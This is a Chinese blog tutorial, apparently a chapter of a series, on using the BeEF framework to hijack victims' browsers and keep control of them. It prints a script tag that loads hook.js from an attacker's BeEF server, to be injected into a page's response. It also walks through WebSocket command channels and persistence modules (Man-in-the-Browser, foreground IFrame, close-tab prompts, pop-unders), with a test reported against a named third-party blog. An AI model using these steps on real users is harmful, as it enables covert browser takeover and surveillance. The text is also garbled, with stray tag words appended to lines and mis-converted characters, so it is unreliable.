攻擊瀏覽器通常分爲幾個階段,以下圖javascript
整個過程分爲三個步驟,第一步是初始化控制,第二步是持續控制,第三步是攻擊。在第三步中的七個攻擊方法是能夠交叉的,好比能夠同時攻擊用戶和攻擊Web應用。接下來會一章一章的介紹這些內容。這一章介紹初始化控制。html
首先在這一章中會介紹初始化控制的方法。初始化控制也就是想辦法讓BeEF服務器勾子(還記得上一章的hook.js嗎)在用戶瀏覽器中運行,勾子初次運行會收集一些有用的信息返回給服務器,並作好後續準備。初始化控制常見的攻擊方法有如下幾個:java
1.使用XSS攻擊web
2.使用有隱患的Web應用ajax
3.使用廣告網絡chrome
4.使用社會工程攻擊跨域
5.使用中間人攻擊瀏覽器
BeEF在得到對殭屍們的初始化控制後,首要的任務是想辦法持續化控制它們。這是由於初始化控制通常只是發生在單個或多個頁面內(勾子通常只注入到一個頁面或多個頁面),一旦用戶離開/關閉這個頁面,或者關閉瀏覽器。那麼BeEF就失去了控制權。持續化控制也被分爲兩個方面。一方面是#持久通訊,也就是BeEF服務器和殭屍之間通訊技術的選擇,越高級的通訊技術,速度也快。另外一方面是#持久存續,也就是想辦法使用戶儘量的呆在有勾子的頁面。服務器
#持久通訊websocket
爲了讓BeEF服務器與殭屍之間快速的通訊(全雙工),BeEF提供三種通訊的技術。分別是XMLHttpRequest 、WebSocket 、WebRTC。三種方法各有優缺點,下面一一介紹。
使用跨域資源共享
在介紹通訊以前,有必要提一下CORS(跨域資源共享)。CORS擴展了一下SOP(同源策略),能夠容許頁面讀取其它來源的HTTP響應。對於被勾連的頁面來講,BeEF服務器無疑就是一個異源。爲了讓瀏覽器在勾連的頁面運行BeEF發送的命令,就須要使用CORS。
BeEF服務器經過在每個HTTP響應中都包含如下的HTTP首部來實現這一點:
##容許來自任何地方的跨域POST和GET請求 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET
BeEF服務器返回上面的語句,那麼瀏覽器就能夠讀取其所有HTTP響應。若是沒有包含上面的CORS首部,SOP就會阻止讀取BeEF服務器返回的數據。這裏須要提醒一下,瀏覽器只是沒法跨域讀取數據,可是能夠發送數據的。也就是說咱們能夠經過BeEF來操做瀏覽器向任何域發送HTTP請求,可是不必定能讀取返回的HTTP響應。這一點很重要,後面的一些攻擊就是用了這一特性。
使用XMLHttpRequest通訊
這是BeEF的默認通訊技術。緣由很簡單,幾乎全部的瀏覽器都支持這種技術,兼容性最好,但它也是三種技術中最慢的。讀者若是有興趣可使用Burp Suite來截取一下BeEF與殭屍的交互數據,就能夠更清晰的看到它們的交互過程了。
使用WebSocket通訊
WebSocket正如其名,是Web中socket。WebSocket協議是一種很是快 、全雙工的通訊技術。它比XMLHttpRequest要快。可是某些舊的瀏覽器是不支持的,IE從10開始支持,Firefox從16.0開始支持,chrome從23.0開始支持。BeEF默認是沒有開WebSocket的,須要設置一下。
找到beef的配置文件,kali下是/usr/share/beef-xss/config.yaml, 找到下面選項,並作以下修改。
# Prefer WebSockets over XHR-polling when possible. websocket: enable: true
重啓beef服務器,就生效了。BeEF會根據瀏覽器是否支持WebSocket,若是支持,那麼之後就使用WebSocket來通訊。若是不支持,那麼就使用XMLHttpRequest來通訊。即BeEF會自動選擇通訊技術,優先選擇快速的技術。
使用WebRTC
網頁實時通訊(Web Real-Time Communication)是一個支持網頁瀏覽器進行實時語音對話或視頻對話的技術。這個技術是最快的,但要較新的瀏覽器才支持。筆者查看了一下配置文件/usr/share/beef-xss/extensions/webrtc/config.yaml,發現好像須要server才行:
查看官方的文檔也沒有介紹,筆者也不瞭解WebRTC這項技術,沒有使用成功。因此索性把它關了,enable: true 變 enable: false。
除了這三種技術以外還有DNS隧道技術,這是比較隱蔽的通訊方式,可是不太穩定。因此這裏就不介紹了。實際上有WebSocket技術就已經足夠快速了。固然還有一個硬傷,那就是網速,這是迫不得已的了。
#持久存續
選好了通訊的渠道,那麼接下來要考慮一下如何在用戶離開/關閉頁面或者關閉瀏覽器時依舊保持控制。BeEF給出了四個解決的方法,分別是利用IFrame 、瀏覽器中間人技術、窗口事情處理函數 、動態底層彈出窗口 。單獨使用任何一種技術或組合使用這些技術,能夠實現對被勾連瀏覽器的持久控制。
使用IFrame內嵌框架(pass掉)
IFrame是HTML中的一個標籤,能夠建立包含另一個文檔的內聯框架。爲了持久的控制,能夠建立一個全屏(整個瀏覽器)的IFrame來把頁面放進去。BeEF的做者建議若是想持久化,內嵌框架是首選方案,緣由以下:第一,能夠徹底控制內嵌框架的DOM內容。第二,內嵌框架主要用於在當前頁面嵌入其餘文檔的事實,爲持久化提供了直接了當的方法。實際操做一下會更清晰這個方法:
確保開啓了BeEF服務器。隨便找個網頁來作測試(https協議抓包配置又弄丟了2333,因而找了個http協議的),使用Burp攔截Response並在其中插入如下語句。
<script src="http://BeEF server:3000/hook.js" type="text/javascript"></script>
獲得初始化控制後,接下來就是使用IFrame內嵌框架技術了,對應的功能模塊是Persistence –> Create foreground iFrame, 這個模塊不須要任何參數,點擊Execute 運行就能夠了。
成功執行後,殭屍瀏覽器這邊是沒有任何異常的。
理論上:當用戶點擊新的頁面,代碼纔會執行,會把新的頁面放在一個%100寬度,%100高度的iFrame中。缺點是:第一是URL是不會變的,會保持在被鉤住的那個頁面的URL。第二是常常出現混亂,點擊無效等異常(經筆者測試有些網站運行很好,有些就會出現。一些不會使用js動態渲染頁面,不會使用ajax動態更新內容的頁面會運行的很好),容易被用戶察覺。第三個是,若是頁面返回的HTTP響應中包含X-Frame-Options等首部,那麼內嵌框架的技術就會失效。
筆者親測:在新的標籤頁打開頁面,和正常的訪問沒什麼兩樣,刷新或關閉hooked的頁面,hooked失連。在原來的頁面打開網頁,地址和內容將停留在被hooked的頁面,將引起殭屍機端用戶的刷新或關閉操做,因此然並卵。
鑑於以上種種缺點,筆者我的不推薦這種技術做爲首選持久控制的技術。推薦使用下面的技術。
使用瀏覽器中間人攻擊(推薦)
常規頁面與MitB(瀏覽器中間人攻擊)中毒頁面的區別在於,MitB會異步加載資源,同時保持勾連活動。對於用戶來講一切都好像在正常頁面中操做同樣,很難察覺到有異常。這裏要注意一下,若是用戶單擊了跨域連接,MitB會在瀏覽器中打開一個新的標籤頁,並把響應的內容放在新的標籤頁。下面實際演示一下:
補充一個小插曲,在實際環境中,對方服務器可能會設置防火牆,WAF等,以下。
使用一個名爲挑戰自我(http://www.tiaozhanziwo.com/)的大牛博客站點來作測試,在獲得初始控制後。接下來使用MitB技術了,對應的模塊在Persistence –> Man-In-The-Browser,這個模塊一樣不須要參數,點擊就可運行。
訪問其餘頁面後
殭屍瀏覽器端顯示
能夠看見這種方式最隱蔽。相應也有缺點,第一沒法加載圖片,第二是若是導航菜單由js作成,用戶點擊會致使頁面跳轉到新頁面,BeEF將失去控制權。這是因爲MitB實現原理的缺陷致使的。
窗口事情處理函數
簡單來講,就是在用戶點擊關閉當前頁面或者關閉瀏覽器按鈕時,彈出一個窗口,來問用戶是否要離開,若是用戶選擇肯定要離開,那麼就繼續彈出窗口,不斷的重複。在BeEF中對應的模塊是Persistence –> Confirm Close Tab,可是現代的瀏覽器已經不容許這樣反覆的彈出窗口了,最多隻容許執行一次。筆者在測試時,發現不一樣瀏覽器會有不一樣的反應。firefox和chrome只有在關閉瀏覽器時纔會有彈窗,360瀏覽器在關閉當前頁面或關閉瀏覽器時都會有彈窗。QQ是最好玩的了,點擊關閉當前頁面以後,它會打開一個新標籤頁去加載BeEF服務器的demo頁面。搜狗所有都沒有彈窗。上面說起的瀏覽器都是最新版。舊版IE會不停的彈出提示窗口。這種方法雖然最多也只能多維持幾秒,可是幾秒也是值得爭取的。因此筆者推薦把它和上面兩種方法的其中一種一塊兒組合使用,這裏要注意一下前面介紹的兩種方法(MitB和iFrame)是不能同時使用的。
動態底層彈出窗口
這項技術是建立一個新的窗口,而後加載BeEF的示例文件demo/plain.html,這樣就能夠擁有另外一個新的初始化控制了。現代瀏覽器默認阻止彈出窗口並警告用戶彈出窗口已被阻止。可是,對於某些用戶啓動的事件(例如單擊頁面),會繞過此檢查。因此可使用點擊劫持,當用戶點擊頁面時,就會觸發事件,打開新的窗口。這選技術對應的模塊是Persistence –> Create Pop Under。雖然它的名字中有under,可是建立出來的窗口倒是在前面的。